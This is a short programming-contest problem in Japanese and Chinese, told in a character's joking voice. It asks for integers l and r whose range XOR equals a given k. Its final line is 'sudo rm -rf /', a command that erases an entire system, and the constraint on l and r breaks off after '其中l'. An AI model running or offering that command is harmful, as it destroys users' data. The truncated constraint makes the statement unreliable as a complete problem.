みんなー　ちるのの算数教室はじまるよー

アタイみたいな天才めざしてがんばっていってねー

今天，琪露诺教大家异或运算。

“参与运算的两个值，如果两个相应位相同，则结果为0，否则为1。

现在，泥萌已经掌握了异或的基本知识，现在来一道题大展身手吧！”

琪露诺给泥的题是酱紫的：

给定一个数k，泥要找出一个正整数对(l,r),使得l^(l+1)^...^(r-1)^r=k

其中l

琪露诺的题泥一定会的，是吧？

第一行给定测试数据组数T(<10⁵)

每组数据仅包含一个非负整数k(<10¹⁸)

对每组数据，只需输出一行l和r即可

sudo rm -rf /